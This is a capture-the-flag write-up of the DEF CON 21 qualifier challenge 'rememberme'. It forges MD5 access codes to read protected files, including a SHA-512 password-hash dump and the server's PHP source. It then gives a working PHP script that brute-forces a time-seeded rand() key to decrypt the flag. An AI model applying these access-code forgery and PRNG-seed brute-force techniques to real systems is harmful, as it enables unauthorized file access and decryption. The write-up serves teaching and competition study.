DC21 quals # 3dub 04 – rememberme

URL: http://rememberme.shallweplayaga.me/
Type: LFI + weak rand()
Solution: To boldly go where no one has gone before WMx8reNS
 


04.rememberme


Let’s have a look at the source code:

<html><title>Remember Me</title><body><h1>Admin Files</h1>
<a href="getfile.php?filename=usernames.txt&accesscode=60635c6862d44e8ac17dc5e144c66539">usernames.txt</a><br>
<a href="getfile.php?filename=passwords.txt&accesscode=60635c6862d44e8ac17dc5e144c66539">passwords.txt</a><br>
<p><a href="login.php">Login Here</a><br>
</body></html>

 
First, we click on the usernames.txt link:

    Acces granted to usernames.txt!

    jeanluc
    riker
    spock
    tiberius
    bones
    crusher
    deana

Then, we click on the passwords.txt link:

    Invalid access code

accesscode should be some kind related to the filename to get. The accesscode looks like a md5 hash; as the found that the code is related to the filename, we try first to compute the md5 hash of the file name itself:

md5('usernames.txt') = 60635c6862d44e8ac17dc5e144c66539

 
That’s it! Now, let’s try to access to the passwords.txt file with accesscode equals to md5('passwords.txt')=b55dcb609a2ee6ea10518b5fd88c610e:

    Acces granted to passwords.txt!

    jeanluc:$6$J/J$zezZMHwc4axqYJZk5nUHD8uwCtz7uU4EjcgVHrJsN2tW2BiMGwTPrC2sI1KD4B3O82o/nShpY0LtctLIihl5.0:15868:0:99999:7:::
    riker:$6$CkoJSeZPJNPtRxZo$O5NBiK5LPXXBszv5cUf4wS4tkKCHtcBM4Q8JuzzXyz38mKQpPGrcwNST1PmjCkqGDT1wVnqCSpBWhRGFmMKRq0:15868:0:99999:7:::
    spock:$6$h7AXU$ulWYM7BGY62mA/x4RjDAJzoTEQhZnMiU..OJwz/n.NbvGMT5FuDuiY3MrkWPrj6HWDuMYIPdTa/js2UO9EC6R.:15868:0:99999:7:::
    tiberius:$6$g8fas1AItAy85OvS$Tfhxf6HRO0ZHC7.ekPnLssf67TM2ELpus0gCHEVQVQnoix.mnRd30EdYuF7gpoRnWfKFq.zk8pXeJk2Ug7POk0:15868:0:99999:7:::
    bones:$6$t5TXeD0jYTRe.DCT$tW/qq5qxN79Isce6clU7FtNYEkzSOnFa4TqSbU4/VsPTz.uSlb.e3dvNrVUGXJCBLl51FxxCct3iJTnqC3aeq1:15868:0:99999:7:::
    crusher:$6$1cNogvGgHLd9m2xP$OTV9Mtl1PmnLlZIi/iXFzBYyEBW4xLzYYTYT41FZRq45iWSsb6lJu0Vtw5WyOWSNI1NR1CECInqErn341vZOy/:15868:0:99999:7:::
    deana:$6$hn4gRZq3b6PEfVmN$YckwH8..bO5awtPUX7J8994GT62S8075HWdtyRnBBYh4.AMOG6VIWng1IWYMZPAFDmDJcgOmMe5E9ZwEpGHpb0:15868:0:99999:7:::

These are SHA-512 passwords… Maybe there’s a better way to access to the key challenge?
Let’s try to see if we can access some other local files… for example getfile.php itself (md5('getfile.php') = 0701593e23e676eaba834916a6ac7272):

<?php
$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode){
  echo "Acces granted to $filename!<br><br>";
  srand($value);
  if (in_array($filename, array('getfile.php', 'index.html', 'key.txt', 'login.php', 'passwords.txt', 'usernames.txt'))==TRUE){
    $data = file_get_contents($filename);
    if ($data !== FALSE) {
      if ($filename == "key.txt") {
        $key = rand();
        $cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
        echo  base64_encode($cyphertext);
      }
      else{
        echo nl2br($data);
      }
 
    }
    else{
      echo "File does not exist";
    }
  }
  else{
    echo "File does not exist";
  }
 
}
else{
  echo "Invalid access code";
}
?>

 
We found an interesting file called key.txt which should contains the challenge key! Let’s download it (md5('key.txt') = 65c2a527098e1f7747eec58e1925b453):

    Acces granted to key.txt!

    w6elmHF/pmaZV9X740KVr1jbq1noWcLEb8py/KCziXnPedAZoHFTR6KcWbBnh1uppF+9TpeJfFpwkmjm0NfGvQ==

We previously saw that there was a special process when accessing key.txt:

$value = time();
...
srand($value);
...
if ($filename == "key.txt") {
  $key = rand();
  $cyphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC);
  echo  base64_encode($cyphertext);
}

 
Reversing this process should be quite easy as we know the cipher used and $key could be bruteforced:

  1. when rand() is initialized with srand(constant) it will allways generate the same random values
  2. rand() is initialized with current time() value… so we just have to noticed when we request the url (to be more accurate we will check few seconds before and after to ensure that both the server and our computer are not too desynchronized…)

The following php code will do it for us as we know that all solutions start with ‘The key is’:

<?php
  error_reporting(E_ERROR);
  $url = "http://rememberme.shallweplayaga.me/getfile.php?filename=key.txt&accesscode=65c2a527098e1f7747eec58e1925b453";
  preg_match("/br>([a-zA-Z0-9+\/=]+)<\/body/", file_get_contents($url), $keytxt);
  $value = time();
  $cyphertext = base64_decode($keytxt[1]);
  for ($i = -30; $i < 30; $i++) {
    srand($value + $i);
    $key = rand();
    $plaintext = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $cyphertext, MCRYPT_MODE_CBC);
    if (preg_match("/The key is/", $plaintext)) {
      echo "time = ".($value - $i)." => ".$plaintext."\n";
      break;
    }
  }
?>

 

    time = 1371428660 => The key is: To boldly go where no one has gone before WMx8reNS

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *